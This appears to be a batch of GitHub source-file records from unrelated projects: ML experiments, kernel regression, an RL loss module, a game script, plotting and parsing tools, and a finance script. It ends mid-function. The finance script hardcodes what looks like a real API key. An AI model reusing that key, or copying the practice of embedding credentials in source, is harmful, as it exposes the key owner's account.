predicted_attribute = clf.predict(x)\n \n y_pred.append(predicted_attribute)\n \n return y_pred\n#%%\n\n# TEST FOR A INPUT FEATURE FROM CLASS 1\n\ndef most_likely_class(x_test, ts_cls, clf_arr):\n \n from sklearn.metrics import accuracy_score\n \n x = x_test\n score = []\n for cls in ts_cls:\n \n y_pred = get_predicted_attribute_vec(x, clf_arr)\n y_test = aam[cls:cls+1]\n y_test = pd.DataFrame.transpose(y_test)\n # print (y_test.shape, len(y_pred))\n similarity = accuracy_score(y_test, y_pred)\n score.append(similarity)\n if score[0] > score[1]:\n return ts_cls[0]\n else:\n return ts_cls[1]\n \n \n \n\n\n\n#%%\n\nlt = ['abc', 'def']\nfor i, st in enumerate(lt):\n print (i, st)\n\n#%%\ndef evaluate(X, clf_arr, ts_cls, true_cls):\n \n \n \n (m, n) = X.shape\n #y_true = np.ones(m)\n y_pred = np.zeros(m)\n for row in range(0, m):\n x_test = X[row:row+1]\n predicted_cls = most_likely_class(x_test, ts_cls, clf_arr)\n# if predicted_cls == true_cls:\n# y_pred[row] = 1\n y_pred[row] = predicted_cls\n \n #a = accuracy_score(y_true, y_pred)\n #p = average_precision_score(y_true, y_pred)\n #r = recall_score(y_true, y_pred)\n #p = 0\n #r = 0\n #print (a, p, r)\n return y_pred\n \n \n\n#%% LEAVE 2 CLASS OUT CROSS VALIDATION\n \na = 0\np = 0\nr = 0\nf1 = 0\n\natt_acc = np.zeros(n_att)\n\ncount = 0\n\n\nfor i in range(0, n_cls):\n X_test_i = data[i]\n mi = X_test_i.shape[0]\n for j in range(i+1, n_cls):\n \n y_true = pd.DataFrame()\n y_pred = pd.DataFrame()\n y_true = np.array(y_true)\n y_pred = np.array(y_pred)\n count += 1\n ts_cls = [i, j]\n clf_arr = train_clf(ts_cls, att_acc)\n \n \n pred = evaluate(X_test_i, clf_arr, ts_cls, i)\n y_pred = np.append(y_pred, pred)\n y_true = np.append(y_true, np.zeros(pred.shape, dtype = int))\n\n \n X_test_j = data[j]\n pred = evaluate(X_test_j, clf_arr, ts_cls, j)\n y_pred = np.append(y_pred, pred)\n y_true = np.append(y_true, np.ones(pred.shape, dtype = int))\n \n y_pred[y_pred==i] = 0\n y_pred[y_pred==j] = 1\n \n a += accuracy_score(y_true, y_pred)\n p += precision_score(y_true, y_pred)\n r += recall_score(y_true, y_pred)\n f1 += f1_score(y_true, y_pred)\n \n \n \nprint (count)\n#accuracy = accuracy / (n_cls - 1)\n#att_acc = att_acc / count\n#precision = precision / count\n#recall = recall / count \n \nprint ( a/count, p/count, r/count, f1/count )\n\n\n\n#print (accuracy)\n#print (accuracy.mean(axis = 0) * 100)\n#print (att_acc)\n\n\n\n\n#%%\n\nprint (y_true.shape, y_pred.shape, accuracy_score(y_true, y_pred))\nprint (classification_report(y_true, y_pred, target_names = class_names))\ncnf = confusion_matrix(y_true, y_pred)\nprint (cnf)\n\n\n\n#%%\ndef plot_confusion_matrix(cm, title='Confusion matrix', cmap=plt.cm.Oranges):\n plt.figure(figsize = (15,15))\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(cm.shape[1])\n plt.xticks(tick_marks, rotation=45)\n ax = plt.gca()\n ax.set_xticklabels(class_names)\n ax.set_yticklabels(class_names)\n plt.yticks(tick_marks)\n\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], '.1f'),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n #plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n\n\n\nnp.set_printoptions(precision=1) \nfig, ax = plt.subplots()\nplot_confusion_matrix(cnf)\n\n\n#%%\nfrom gensim.models import Word2Vec\n\n# DEFINE TRAINING DATA\nwiki = [['this', 'is', 'the', 'first', 'sentence', 'for', 'word2vec'],\n\t\t\t['this', 'is', 'the', 'second', 'sentence'],\n\t\t\t['yet', 'another', 'sentence'],\n\t\t\t['one', 'more', 'sentence'],\n\t\t\t['and', 'the', 'final', 'sentence']]\n \n \n\n\n# TRAIN MODEL\nmodel = Word2Vec(wiki, min_count = 1)\n\nprint (model)\n#vocab = number of distinct words which has appeared at least min_count number of times\n\n\n\n\n# SUMMARIZE VOCABLUARY\nwords = list (model.wv.vocab) # list of all distinct words in vocab\nprint (words)\n\n\n\n\n# ACCESS WORD VECTOR FOR ONE WORD\nprint (model['sentence'])\n\n\n\n# SAVE THE MODAL\nmodel.save('model.bin')\n\n\n\n# LOAD MODEL\nnew_model = Word2Vec.load('model.bin')\nprint (new_model)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"amanshreshtha1998/Zero-Shot-Learning-on-Sensor-Data","sub_path":"HMP_DATASET/models_code/dap_based.py","file_name":"dap_based.py","file_ext":"py","file_size_in_byte":8202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42636810122","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom numpy.linalg import multi_dot\n\ndef vect_k(x,d):\n #k = np.power(x-d,4)\n c = 0.065\n k = 1 - (np.power((x-d),2)/(np.power((x-d),2)+c))\n return k\n\ndef matrix_K(x):\n n = len(x)\n K = np.zeros((n,n))\n for i in range(n):\n k = vect_k(x,x[i])\n K[i,:]=k\n return K\n\nf = open('train_data.txt','r')\nx= []\ny = []\nfor line in f :\n x_temp,y_temp = line.split(' ')\n x.append(x_temp)\n y.append(y_temp)\nx = np.asarray(x).astype(np.float)\ny = np.asarray(y).astype(np.float)\nf.close()\n\nn = len(x)\nl = 10**-10\nK_mat = matrix_K(x)\na = np.dot(np.linalg.inv(K_mat+(l*np.eye(n))),y)\ny_pred = []\nfor i in range(n):\n k_vec = vect_k(x,x[i])\n y_temp = np.dot(k_vec,a)\n y_pred.append(y_temp)\n\ny_pred = np.asarray(y_pred)\n#MSE on train\nmse = 0.5*multi_dot([a,K_mat,K_mat,a])-multi_dot([a,K_mat,y])+0.5*np.dot(y,y)+0.5*l*multi_dot([a,K_mat,a])\nmse = mse/n\nprint(f'MSE for train set : {mse}')\n\n# For Test data\nf = open('test_data.txt','r')\nx_test = []\ny_test = []\nfor line in f :\n x_temp,y_temp = line.split(' ')\n x_test.append(x_temp)\n y_test.append(y_temp)\nx_test = np.asarray(x_test).astype(np.float)\ny_test = np.asarray(y_test).astype(np.float)\nf.close()\n\ny_test_pred = []\nfor i in range(n):\n k_vec = vect_k(x,x_test[i])\n y_temp = np.dot(k_vec,a)\n y_test_pred.append(y_temp)\n\ny_test_pred = np.asarray(y_test_pred)\n#MSE on train\nmse = 0.5*multi_dot([a,K_mat,K_mat,a])-multi_dot([a,K_mat,y_test])+0.5*np.dot(y_test,y_test)+0.5*l*multi_dot([a,K_mat,a])\nmse = mse/n\nprint(f'MSE for test set : {mse}')\n\n# For Plot\nx_plot = np.linspace(-1,1,100)\nn = len(x)\ny_plot = []\nfor i in range(n):\n k_vec = vect_k(x,x_plot[i])\n y_temp = np.dot(k_vec,a)\n y_plot.append(y_temp)\n\ny_plot = np.asarray(y_plot)\nfig = plt.figure()\nplt.plot(x_plot, y_plot, label='f(x)', color='r')\nplt.scatter(x, y, label='Data')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.title(f'Problem 3d')\nplt.legend()\nplt.savefig(f'Problem3d.png')\n","repo_name":"DhavalParmar61/Machine-Learning","sub_path":"Assignment 1/Code/Q3/Problem3d.py","file_name":"Problem3d.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4421927606","text":"\"\"\"KL-Constraint Helper Module.\"\"\"\nimport torch\nimport torch.distributions\nimport torch.nn as nn\n\nfrom rllib.dataset.datatypes import Loss\nfrom rllib.util.parameter_decay import Constant, Learnable, ParameterDecay\n\n\nclass KLLoss(nn.Module):\n r\"\"\"KL-Constraint Loss.\n\n The method tries to approximate a KL-constraint KL(p, q) <= \\epsilon.\n\n In regularization mode, it returns a loss given by:\n ..math :: Loss = \\epsilon KL(p, q).\n\n In trust-region mode (regularization=False), it returns a loss given by:\n ..math :: Loss = \\eta() (\\epsilon - KL(p, q).detach()).\n\n In order to have a tighter control on the mean and variance of Normal distribution,\n the KL-Divergence associated with the mean and the variance of a distribution are\n computed separately. See `rllib.util.utilities.separated_kl`.\n\n Parameters\n ----------\n epsilon_mean: Union[ParameterDecay, float].\n The KL-divergence for the mean component in the M-step (fitting the policy).\n See `rllib.util.utilities.separated_kl`.\n epsilon_var: Union[ParameterDecay, float], optional.\n The KL-divergence for the variance component in the M-step (fitting the policy).\n See `rllib.util.utilities.separated_kl`.\n regularization: bool\n Flag that indicates if the algorithm is in regularization or trust-region mode.\n\n References\n ----------\n Kakade, S., & Langford, J. (2002, July).\n Approximately optimal approximate reinforcement learning. ICML.\n\n Abdolmaleki, A., et al. (2018).\n Maximum a posteriori policy optimisation. ICLR.\n\n Schulman, J., Levine, S., Abbeel, P., Jordan, M., & Moritz, P. (2015).\n Trust region policy optimization. ICML.\n \"\"\"\n\n def __init__(self, epsilon_mean=0.0, epsilon_var=0.0, regularization=False):\n super().__init__()\n if epsilon_var is None:\n self.separated_kl = False\n epsilon_var = 0.0\n else:\n self.separated_kl = True\n\n self.regularization = regularization\n if self.regularization:\n eta_mean = epsilon_mean\n eta_var = epsilon_var\n if not isinstance(eta_mean, ParameterDecay):\n eta_mean = Constant(eta_mean)\n if not isinstance(eta_var, ParameterDecay):\n eta_var = Constant(eta_var)\n\n self._eta_mean = eta_mean\n self._eta_var = eta_var\n\n self.epsilon_mean = torch.tensor(0.0)\n self.epsilon_var = torch.tensor(0.0)\n\n else: # Trust-Region: || KL(q || \\pi_old) || < \\epsilon\n self._eta_mean = Learnable(1.0, positive=True)\n self._eta_var = Learnable(1.0, positive=True)\n\n self.epsilon_mean = torch.tensor(epsilon_mean)\n self.epsilon_var = torch.tensor(epsilon_var)\n\n @property\n def eta_mean(self):\n \"\"\"Get eta parameter.\"\"\"\n return self._eta_mean().detach()\n\n @property\n def eta_var(self):\n \"\"\"Get eta parameter.\"\"\"\n return self._eta_var().detach()\n\n def forward(self, kl_mean, kl_var=None):\n \"\"\"Return primal and dual loss terms from MMPO.\n\n Parameters\n ----------\n kl_mean : torch.Tensor\n A float corresponding to the KL divergence.\n kl_var : torch.Tensor\n A float corresponding to the KL divergence.\n \"\"\"\n if self.epsilon_mean == 0.0 and not self.regularization:\n return Loss()\n if kl_var is None:\n kl_var = torch.zeros_like(kl_mean)\n\n kl_mean, kl_var = kl_mean.mean(), kl_var.mean()\n reg_loss = self.eta_mean * kl_mean + self.eta_var * kl_var\n if reg_loss.ndim > 1:\n reg_loss = reg_loss.mean(1)\n\n if self.regularization: # average time coordinate.\n return Loss(reg_loss=reg_loss)\n else:\n if self.separated_kl:\n mean_loss = self._eta_mean() * (self.epsilon_mean - kl_mean).detach()\n var_loss = self._eta_var() * (self.epsilon_var - kl_var).detach()\n dual_loss = mean_loss + var_loss\n else:\n dual_loss = self._eta_mean() * (self.epsilon_mean - kl_mean).detach()\n\n if dual_loss.ndim > 1: # average time coordinate.\n dual_loss = dual_loss.mean(1)\n return Loss(dual_loss=dual_loss, reg_loss=reg_loss)\n","repo_name":"sebascuri/rllib","sub_path":"rllib/util/losses/kl_loss.py","file_name":"kl_loss.py","file_ext":"py","file_size_in_byte":4344,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"32"} +{"seq_id":"1096374833","text":"import adonthell\n\n# -- pygettext support\ndef _(message): return message\n\nclass search_chest:\n\n # Parameters:\n # name: name of the character that should speak when the event is triggered\n def __init__ (self, eventinstance, name):\n self.myself = eventinstance\n self.mapchar = adonthell.gamedata_get_character (name)\n\n def run (self, submap, x, y, dir, name):\n if adonthell.gamedata_get_quest (\"demo\").get_val (\"get_item\") == 1:\n fgs = find_gem_screen ()\n \n adonthell.gamedata_engine ().set_control_active (0)\n adonthell.gamedata_player ().set_schedule_active (0)\n adonthell.gamedata_engine ().main (fgs, \"find_gem_screen\")\n adonthell.gamedata_player ().set_schedule_active (1)\n adonthell.gamedata_engine ().set_control_active (1)\n \n adonthell.gamedata_get_quest (\"demo\").set_val (\"get_item\", 2)\n adonthell.gamedata_get_quest (\"demo\").set_val (\"have_gem\", 1)\n else:\n self.mapchar.speak (_(\"I know this chest. The Lady uses it on her journeys.\"))\n\n\nclass find_gem_screen (adonthell.win_container):\n def __init__(self):\n adonthell.win_container.__init__(self)\n\n self.py_signal_connect (self.on_update, adonthell.win_event_UPDATE)\n self.state = 1\n\n # -- get font and theme\n self.font = adonthell.win_manager_get_font (\"original\")\n self.theme = adonthell.win_manager_get_theme (\"original\")\n \n self.move (58, 75)\t\n self.resize (205, 70)\n self.set_border (self.theme, adonthell.win_border_MINI)\n self.set_background (self.theme)\n self.set_trans_background (1)\n\n # -- The window text\n self.text = adonthell.win_label ()\n self.text.thisown = 0\n self.text.resize (120, 0)\n self.text.set_font (self.font)\n self.text.set_form (adonthell.label_AUTO_HEIGHT)\n self.text.set_text (_(\"Upon opening the chest, a small green something catches your attention ...\"))\n self.text.pack ()\n self.text.move (80, (self.height () - self.text.height ())/2)\n\n # -- The character image\n self.image = adonthell.win_image ()\n self.image.thisown = 0\n self.image.move (10, 3)\n self.image.resize (64, 64)\n self.image.load_pnm (\"gfx/cutscene/gem.pnm\")\n self.image.set_mask (1)\n self.image.pack ()\n \n self.add (self.text)\n self.add (self.image)\n \n self.set_visible_background (1)\n self.set_visible_border (1)\n self.set_visible_all (1)\n\n # -- catch relevant keypresses\n def on_update (self):\n # -- quit\n if adonthell.input_has_been_pushed (adonthell.SDLK_RETURN) or \\\n adonthell.input_has_been_pushed (adonthell.SDLK_SPACE) or \\\n adonthell.input_has_been_pushed (adonthell.SDLK_ESCAPE):\n \n # -- display second part of text\n if self.state == 1:\n self.text.set_text (_(\"There, inmidst your mistress' luggage, lies one of Master Fingolson's gems.\"))\n self.text.pack ()\n self.text.move (80, (self.height () - self.text.height ())/2)\n self.state = 2\n \n # -- end\n else:\n adonthell.gamedata_engine ().main_quit ()\n","repo_name":"ksterker/wastesedge","sub_path":"scripts/game_events/search_chest.py","file_name":"search_chest.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"32"} +{"seq_id":"11187086521","text":"#plots maxT across all PFCs in an openFOAM directory\nimport plotly.graph_objects as go\nimport pandas as pd\nimport os\nimport numpy as np\n#name of each PFC\n#root = '/home/tom/results/sparc_1stRuns/sweep7/sparc_000001_sweep7/openFoam/heatFoam/'\n#root = '/home/tom/HEAT/data/sparc_000001_sweep7/openFoam/heatFoam/'\nroot = '/home/tom/HEAT/data/sparc_000001_rampup_TSCvh01a_1mm_1lq/openFoam/heatFoam/'\n#root = '/media/tom/8f18dea0-fd98-4cd0-8dcf-0af04aad82c4/work/resultsCFS/TSC_rampup_dec2022/sparc_000001_rampup_TSCvh01a_ramped4MW_dt100ms/openFoam/heatFoam/'\n\nnombres = [f.name for f in os.scandir(root) if f.is_dir()]\nnombres.sort()\nPFCname = 'olim1'\n\n#tag to plot\ntag = 'lq1.5mm'\n\ndata = []\nmaxTs = []\nnamesWithTag = []\nfor i,name in enumerate(nombres):\n# if tag in name:\n outfile = root+name+'/postProcessing/fieldMinMax1/0/fieldMinMax.dat' #peak at any point\n tmp = pd.read_csv(outfile, header=1, delimiter=\"\\t\")\n tmp.columns = tmp.columns.str.strip()\n tmp = tmp.sort_values('field')\n tmp['field'] = tmp['field'].str.strip()\n use = tmp['field']=='T'\n maxTs.append(max(tmp[use]['max'].values))\n data.append(tmp)\n namesWithTag.append(name)\n\nprint(\"Using these directories:\")\nprint(namesWithTag)\n\nprint(maxTs)\nidxMax = np.argmax(maxTs)\nprint(\"Maximum T occurs on PFC: \" + nombres[idxMax])\n#idxMax2 = np.argmax(maxTs[:idxMax]+maxTs[idxMax+1:])\n#print(\"2nd Maximum T occurs on PFC: \" + nombres[idxMax2])\n\nfig = go.Figure()\n\n#for printing max of multiple PFCs:\n#df = data[idxMax]\n#mask = df['field'] == 'T'\n#t = df[mask].sort_values('# Time')['# Time'].values\n#varMax = df[mask].sort_values('# Time')['max'].values\n#varMax = np.insert(varMax, 0, 300)\n#fig.add_trace(go.Scatter(x=t, y=varMax, name=\"Ion Optical\", line=dict(color='rgb(17,119,51)', width=6, dash='dot'),\n# mode='lines', marker_symbol='cross', marker_size=14))\n\n#for printing all PFC max's\ncolors = []\nsymbols = ['x', 'star', 'diamond', 'asterisk', 'bowtie', 'hourglass', 'circle-x', 'hexagram' ]\n\n\nfor i,df in enumerate(data):\n mask = df['field'] == 'T'\n t = df[mask].sort_values('# Time')['# Time'].values\n varMax = df[mask].sort_values('# Time')['max'].values\n varMax = np.insert(varMax, 0, 300)\n fig.add_trace(go.Scatter(x=t, y=varMax, name=nombres[i], line=dict(width=4,),\n mode='lines', marker_size=4,))\n\n\n#temperature limits\nfig.add_trace(go.Scatter(\n x=[-0.05, t[-1]+0.05],\n y=[1623, 1623],\n name=\"Recrystal. T (Pure)\",\n mode=\"lines+markers\",\n line=dict(color='firebrick', width=3, dash='dash'),\n marker_symbol='circle',\n marker_size=15,\n# mode=\"lines+markers+text\",\n# text=[\"Limit 1\", \"Limit 1\"],\n# textposition=\"top center\",\n# textfont=dict(family=\"Arial\", size=24, color=\"firebrick\"),\n\n))\n#fig.add_trace(go.Scatter(\n# x=[-0.05, t[-1]+0.05],\n# y=[1773, 1773],\n# name=\"Recrystal. T (La203 2%)\",\n# mode=\"lines+markers\",\n# line=dict(color='firebrick', width=3, dash='dash',),\n# marker_symbol='square',\n# marker_size=15,\n## mode=\"lines+markers+text\",\n## text=[\"Limit 1\", \"Limit 1\"],\n## textposition=\"top center\",\n## textfont=dict(family=\"Arial\", size=24, color=\"firebrick\"),\n#\n#))\n#fig.add_trace(go.Scatter(\n# x=[-0.05, t[-1]+0.05],\n# y=[1973, 1973],\n# name=\"Recrystal. T (Re 5%)\",\n# mode=\"lines+markers\",\n# line=dict(color='firebrick', width=3, dash='dash'),\n# marker_symbol='cross',\n# marker_size=15,\n## mode=\"lines+markers+text\",\n## text=[\"Limit 1\", \"Limit 1\"],\n## textposition=\"top center\",\n## textfont=dict(family=\"Arial\", size=24, color=\"firebrick\"),\n#))\n\n\n\n\nfig.update_layout(\ntitle=\"Max T: \",\n\nmargin=dict(\n l=100,\n r=100,\n b=100,\n t=100,\n pad=2\n),\n)\n\nfig.update_layout(\n# legend=dict(\n# yanchor=\"middle\",\n# y=0.9,\n# xanchor=\"left\",\n# x=0.1\n# ),\n font=dict(\n# family=\"Courier New, monospace\",\n size=30,\n )\n#\n )\n\n\nfig.update_yaxes(title_text=\"Maximum PFC Temperature [K]\")\nfig.update_xaxes(title_text=\"Time [s]\")\n\n\n\n\nfig.show()\n","repo_name":"plasmapotential/HEATtools","sub_path":"openFOAMplots/openFOAMmultipleMaxTs.py","file_name":"openFOAMmultipleMaxTs.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"36902644641","text":"import argparse\nimport csv\n\ndef check_protein_presence(fasta_file, blast_file, output_file):\n protein_names = set()\n\n # Read the FASTA file and extract protein names\n with open(fasta_file, 'r') as fasta:\n for line in fasta:\n if line.startswith('>'):\n protein_name = line.strip()[1:]\n protein_names.add(protein_name)\n\n # Read the BLAST file into a list of lists\n blast_data = []\n with open(blast_file, 'r', newline='') as table:\n reader_blast = csv.reader(table, delimiter='\\t')\n header = next(reader_blast) # Skip the header line\n for row in reader_blast:\n blast_data.append(row)\n\n # Process the table file and write new table with presence information\n with open(output_file, 'w', newline='') as output:\n writer = csv.writer(output, delimiter='\\t')\n\n # Write the header line with the new column\n header = ['protein_id', 'BLASTp', 'Homology_proteins']\n writer.writerow(header)\n\n # Iterate through each protein name in the FASTA file\n for protein_name in protein_names:\n found_proteins = []\n presence = 'no_homology'\n \n # Check if the protein is in the table and collect the found homology proteins\n for row in blast_data:\n if protein_name == row[0]:\n found_proteins.append(row[1])\n presence = 'homology'\n \n # Check if found_proteins is empty (i.e., no homologous proteins found)\n if not found_proteins:\n found_proteins = ['NA']\n \n # Write the row with the protein name, presence information, and found proteins\n writer.writerow([protein_name, presence, ','.join(found_proteins)])\n\n print(f\"Protein presence has been checked and the new table is saved in '{output_file}'.\")\n\n# Create the argument parser\nparser = argparse.ArgumentParser(description='Check protein presence in BLASTp output based on FASTA file.')\n\n# Add the command-line arguments\nparser.add_argument(\"-f\",\"--fasta_file\", help='Path to the FASTA file')\nparser.add_argument(\"-b\", \"--blast_file\", help='Path to the table file')\nparser.add_argument(\"-o\", \"--output_file\", help='Path to the output table file')\n\n# Parse the command-line arguments\nargs = parser.parse_args()\n\n# Call the function with the provided arguments\ncheck_protein_presence(args.fasta_file, args.blast_file, args.output_file)","repo_name":"AmaliaNabuurs/dockerfiles","sub_path":"parsers/parser_blast/blastout_to_list.py","file_name":"blastout_to_list.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9943106870","text":"class Solution:\n def intersection(self, nums: List[List[int]]) -> List[int]:\n dic = {}\n for arr in nums: \n for n in arr:\n if n in dic.keys():\n dic[n] += 1\n else: dic[n] = 1\n \n res, N = [], len(nums)\n for n in dic.keys():\n if dic[n]== N: res.append(n)\n res.sort()\n return res","repo_name":"GizawAAiT/Competitive_programming","sub_path":"Community/oct20- nov 01 (2022)/2248. Intersection of Multiple Arrays.py","file_name":"2248. Intersection of Multiple Arrays.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"6709468534","text":"#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\nimport csv\r\nimport plotly.express as px\r\nimport pandas as pd\r\nimport requests\r\nimport sys\r\nfrom alpha_vantage.timeseries import TimeSeries\r\n\r\nkey = 'VG7VFW3TBRFINU4E'\r\n\r\n\r\ndef calc_Tbond(amount, years, interest):\r\n with open('TreasuryBond.csv', 'w', newline='') as f:\r\n thewriter = csv.writer(f)\r\n thewriter.writerow(['Total', 'Years'])\r\n total = amount\r\n semi_annual_amount = years * 2\r\n\r\n for x in range(0, semi_annual_amount):\r\n thewriter.writerow([total, x])\r\n total = total * interest\r\n df = pd.read_csv('TreasuryBond.csv')\r\n fig = px.bar(df, x='Years', y='Total', title='Loan Duration')\r\n fig.show()\r\n return round(total, 2)\r\n\r\n\r\ndef loan_Payment(monthly_payment, amount, interest):\r\n with open('LoanPayment.csv', 'w', newline='') as f:\r\n\r\n thewriter = csv.writer(f)\r\n thewriter.writerow(['Total', 'Month Number'])\r\n total = amount\r\n month_increments = 0\r\n while total > 0:\r\n thewriter.writerow([total, month_increments])\r\n total = total - monthly_payment\r\n if total > 0:\r\n total = total + total * (interest / 100)\r\n month_increments += 1\r\n df = pd.read_csv('LoanPayment.csv')\r\n fig = px.bar(df, x='Month Number', y='Total', title='Loan Duration')\r\n fig.show()\r\n return month_increments\r\n\r\n\r\ndef loan_term_payment(term, amount, interest):\r\n periodic = interest / 12\r\n term_in_months = term * 12\r\n monthly_payment = round(10000 / round(((1 + periodic)\r\n ** term_in_months - 1) / (periodic * (1\r\n + periodic) ** term_in_months), 2), 2)\r\n loan_term_payment_graph(monthly_payment, term_in_months, amount,\r\n periodic)\r\n return monthly_payment\r\n\r\n\r\ndef loan_term_payment_graph(monthly_payment,term,amount,interest):\r\n with open('LoanTermPayment.csv', 'w', newline='') as f:\r\n thewriter = csv.writer(f)\r\n thewriter.writerow(['Amount Remaining', 'Month'])\r\n month_increments = 0\r\n total = amount\r\n for x in range(0, term):\r\n thewriter.writerow([total, month_increments])\r\n total = total - monthly_payment\r\n if total > 0:\r\n total = total + total * (interest / 100)\r\n else:\r\n break\r\n month_increments += 1\r\n df = pd.read_csv('LoanTermPayment.csv')\r\n fig = px.bar(df, x='Month', y='Amount Remaining',\r\n title='Loan Duration')\r\n fig.show()\r\n\r\n\r\ndef stock_handler(symbol):\r\n base_url = 'https://www.alphavantage.co/query?'\r\n\r\n params = {\r\n 'function': 'TIME_SERIES_DAILY',\r\n 'symbol': symbol,\r\n 'datatype': 'csv',\r\n 'apikey': key,\r\n }\r\n\r\n response = requests.get(base_url, params=params)\r\n\r\n with open('stock.csv', 'wb') as file:\r\n file.write(response.content)\r\n\r\n df = pd.read_csv('stock.csv')\r\n df.set_index('timestamp', inplace=True)\r\n df = pd.read_csv('stock.csv')\r\n\r\n fig = px.line(df, x='timestamp', y='high')\r\n fig.show()\r\n\r\n\r\ndef latest_change(filename):\r\n df = pd.read_csv(filename)\r\n percent_change = 0\r\n\r\n # print(df.head(3))\r\n\r\n if df.iloc[1, 0] - df.iloc[0, 0] > 0:\r\n percent_change = round(df.iloc[1, 0] / df.iloc[0, 0] - 1, 4)\r\n print (percent_change)\r\n return 'Increasing'\r\n elif df.iloc[1, 0] - df.iloc[0, 0] == 0:\r\n percent_change = round(df.iloc[1, 0] / df.iloc[0, 0] - 1, 4)\r\n print (percent_change)\r\n return 'No Change'\r\n elif df.iloc[1, 0] - df.iloc[0, 0] < 0:\r\n percent_change = round(df.iloc[1, 0] / df.iloc[0, 0] - 1, 4)\r\n print (percent_change)\r\n return 'Decreasing'\r\n\r\n\r\n# Function Name : calc_CollegeLoan\r\n# Parameters: unsub_amount, unsub_time, sub_amount, sub_time, interest\r\n# Purpose: Given two different types of loans \"unsub/sub\" we calculate the interest accrued and total\r\n# amount of debt we are in\r\n\r\ndef calc_CollegeLoan(unsub_amount,unsub_time,sub_amount,sub_time,interest):\r\n unsub_total = unsub_amount\r\n sub_total = sub_amount\r\n print (sub_total)\r\n for x in range(0, sub_time):\r\n sub_total = sub_total * interest\r\n print (sub_total)\r\n for y in range(0, unsub_time):\r\n unsub_total = unsub_total * interest\r\n return sub_total + unsub_total\r\n\r\n\r\ndef main():\r\n\r\n # x = calc_Tbond(1000,30, 1.05)\r\n # x = latest_change('LoanPayment.csv')\r\n # x = loan_term_payment(7, 10000, .03)\r\n # print(x)\r\n # print(sys.path)\r\n\r\n stock_handler('GOOG')\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"Siroibma/Alora-Finacial","sub_path":"Finacial Website/testwebsite.py","file_name":"testwebsite.py","file_ext":"py","file_size_in_byte":4688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25142158408","text":"from __future__ import absolute_import\nimport os\nimport sys\nimport errno\nimport shutil\nimport json\nimport os.path as osp\n\nimport torch\n\ndef tensor_flip(x, dim):\n xsize = x.size()\n dim = x.dim() + dim if dim < 0 else dim\n x = x.view(-1, *xsize[dim:])\n x = x.view(x.size(0), x.size(1), -1)[:, getattr(torch.arange(x.size(1)-1,\n -1, -1), ('cpu','cuda')[x.is_cuda])().long(), :]\n return x.view(xsize)\n\ndef mkdir_if_missing(directory):\n if not osp.exists(directory):\n try:\n os.makedirs(directory)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value.\n \n Code imported from https://github.com/pytorch/examples/blob/master/imagenet/main.py#L247-L262\n \"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\ndef save_checkpoint(state, is_best, fpath='checkpoint.pth.tar'):\n mkdir_if_missing(osp.dirname(fpath))\n torch.save(state, fpath)\n if is_best:\n shutil.copy(fpath, osp.join(osp.dirname(fpath), 'best_model.pth.tar'))\n\nclass Logger(object):\n \"\"\"\n Write console output to external text file.\n Code imported from https://github.com/Cysu/open-reid/blob/master/reid/utils/logging.py.\n \"\"\"\n def __init__(self, fpath=None):\n self.console = sys.stdout\n self.file = None\n if fpath is not None:\n mkdir_if_missing(os.path.dirname(fpath))\n self.file = open(fpath, 'w')\n\n def __del__(self):\n self.close()\n\n def __enter__(self):\n pass\n\n def __exit__(self, *args):\n self.close()\n\n def write(self, msg):\n self.console.write(msg)\n if self.file is not None:\n self.file.write(msg)\n\n def flush(self):\n self.console.flush()\n if self.file is not None:\n self.file.flush()\n os.fsync(self.file.fileno())\n\n def close(self):\n self.console.close()\n if self.file is not None:\n self.file.close()\n\ndef read_json(fpath):\n with open(fpath, 'r') as f:\n obj = json.load(f)\n return obj\n\n\ndef write_json(obj, fpath):\n mkdir_if_missing(osp.dirname(fpath))\n with open(fpath, 'w') as f:\n json.dump(obj, f, indent=4, separators=(',', ': '))\n\n\nimport numpy as np\nfrom torch import nn\nclass GuidedBackprop():\n \"\"\"\n Produces gradients generated with guided back propagation from the given image\n \"\"\"\n def __init__(self, model):\n self.model = model\n self.gradients = None\n self.forward_relu_outputs = []\n # Put model in evaluation mode\n self.model.eval()\n self.update_relus()\n self.hook_layers()\n\n def hook_layers(self):\n def hook_function(module, grad_in, grad_out):\n self.gradients = grad_in[0]\n # Register hook to the first layer\n first_layer = list(self.model._modules['module'].base._modules.items())[0][1]\n first_layer.register_backward_hook(hook_function)\n\n def update_relus(self):\n \"\"\"\n Updates relu activation functions so that\n 1- stores output in forward pass\n 2- imputes zero for gradient values that are less than zero\n \"\"\"\n def relu_backward_hook_function(module, grad_in, 